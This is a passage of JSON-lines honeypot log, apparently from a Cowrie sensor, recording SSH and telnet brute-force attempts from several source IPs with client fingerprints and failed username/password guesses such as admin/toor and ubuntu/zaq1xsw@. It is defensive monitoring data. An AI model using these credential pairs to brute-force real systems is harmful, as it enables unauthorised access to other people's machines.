2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:33.312706Z","src_ip":"165.227.170.113","session":"eae94bce1cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq1xsw@","message":"login attempt [ubuntu/zaq1xsw@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:33.690576Z","src_ip":"165.227.170.113","session":"eae94bce1cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:34.781036Z","src_ip":"165.227.170.113","session":"eae94bce1cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":6005,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8206f14aa3e","protocol":"ssh","message":"New connection: 223.233.84.127:6005 (10.17.0.5:22) [session: d8206f14aa3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:47.791162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:47.796917Z","src_ip":"223.233.84.127","session":"d8206f14aa3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:48.127341Z","src_ip":"223.233.84.127","session":"d8206f14aa3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"vb0x","message":"login attempt [vbox/vb0x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:49.186904Z","src_ip":"223.233.84.127","session":"d8206f14aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:43:50.441617Z","src_ip":"223.233.84.127","session":"d8206f14aa3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34570,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aff92248cb8","protocol":"ssh","message":"New connection: 2.57.121.25:34570 (10.17.0.5:22) [session: 8aff92248cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:05.230782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:05.237665Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:05.343012Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22061976","message":"login attempt [user/22061976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:05.821917Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22051995","message":"login attempt [user/22051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:06.926046Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22031980","message":"login attempt [user/22031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:08.030153Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220291","message":"login attempt [user/220291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:09.134823Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22011981","message":"login attempt [user/22011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:10.242046Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:11.347506Z","src_ip":"2.57.121.25","session":"8aff92248cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":38104,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad5aa21c81d","protocol":"ssh","message":"New connection: 165.227.170.113:38104 (10.17.0.5:22) [session: 5ad5aa21c81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:15.253720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:15.259096Z","src_ip":"165.227.170.113","session":"5ad5aa21c81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:15.341363Z","src_ip":"165.227.170.113","session":"5ad5aa21c81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2018","message":"login attempt [ubuntu/ubuntu2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:15.702157Z","src_ip":"165.227.170.113","session":"5ad5aa21c81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:16.786810Z","src_ip":"165.227.170.113","session":"5ad5aa21c81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":19905,"dst_ip":"10.17.0.5","dst_port":22,"session":"952496098903","protocol":"ssh","message":"New connection: 223.233.84.127:19905 (10.17.0.5:22) [session: 952496098903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:41.983025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:41.988122Z","src_ip":"223.233.84.127","session":"952496098903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:42.318148Z","src_ip":"223.233.84.127","session":"952496098903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq123","message":"login attempt [ubuntu/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:43.365649Z","src_ip":"223.233.84.127","session":"952496098903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:44.616851Z","src_ip":"223.233.84.127","session":"952496098903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":34894,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7864bf8e44d","protocol":"ssh","message":"New connection: 165.227.170.113:34894 (10.17.0.5:22) [session: b7864bf8e44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:58.203739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:58.208615Z","src_ip":"165.227.170.113","session":"b7864bf8e44d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:58.292653Z","src_ip":"165.227.170.113","session":"b7864bf8e44d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qweQWE","message":"login attempt [ubuntu/123qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:58.662598Z","src_ip":"165.227.170.113","session":"b7864bf8e44d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:44:59.750067Z","src_ip":"165.227.170.113","session":"b7864bf8e44d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":24727,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1414bc0ee6a","protocol":"ssh","message":"New connection: 223.233.84.127:24727 (10.17.0.5:22) [session: c1414bc0ee6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:37.919210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:37.924814Z","src_ip":"223.233.84.127","session":"c1414bc0ee6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:38.241812Z","src_ip":"223.233.84.127","session":"c1414bc0ee6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansadmin","password":"ansadmin123","message":"login attempt [ansadmin/ansadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:39.377688Z","src_ip":"223.233.84.127","session":"c1414bc0ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:40.627828Z","src_ip":"223.233.84.127","session":"c1414bc0ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":35066,"dst_ip":"10.17.0.5","dst_port":22,"session":"ade446082c68","protocol":"ssh","message":"New connection: 165.227.170.113:35066 (10.17.0.5:22) [session: ade446082c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:42.814180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:42.819271Z","src_ip":"165.227.170.113","session":"ade446082c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:42.904847Z","src_ip":"165.227.170.113","session":"ade446082c68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"toor","message":"login attempt [admin/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:43.277926Z","src_ip":"165.227.170.113","session":"ade446082c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:45:44.367561Z","src_ip":"165.227.170.113","session":"ade446082c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":22912,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3783895fef3","protocol":"telnet","message":"New connection: 38.25.25.113:22912 (10.17.0.5:23) [session: b3783895fef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:01.756311Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":23789,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f9519f5712","protocol":"telnet","message":"New connection: 38.25.25.113:23789 (10.17.0.5:23) [session: b9f9519f5712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:04.219739Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.232.176.105","src_port":54754,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f20afd05e1","protocol":"telnet","message":"New connection: 105.232.176.105:54754 (10.17.0.5:23) [session: e9f20afd05e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:13.327892Z"}
{"eventid":"cowrie.session.closed","duration":12.10358214378357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:25.431360Z","src_ip":"105.232.176.105","session":"e9f20afd05e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":49020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0e6b335278","protocol":"ssh","message":"New connection: 165.227.170.113:49020 (10.17.0.5:22) [session: 6a0e6b335278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:27.448630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:46:27.453509Z","src_ip":"165.227.170.113","session":"6a0e6b335278","protocol":"ssh"}
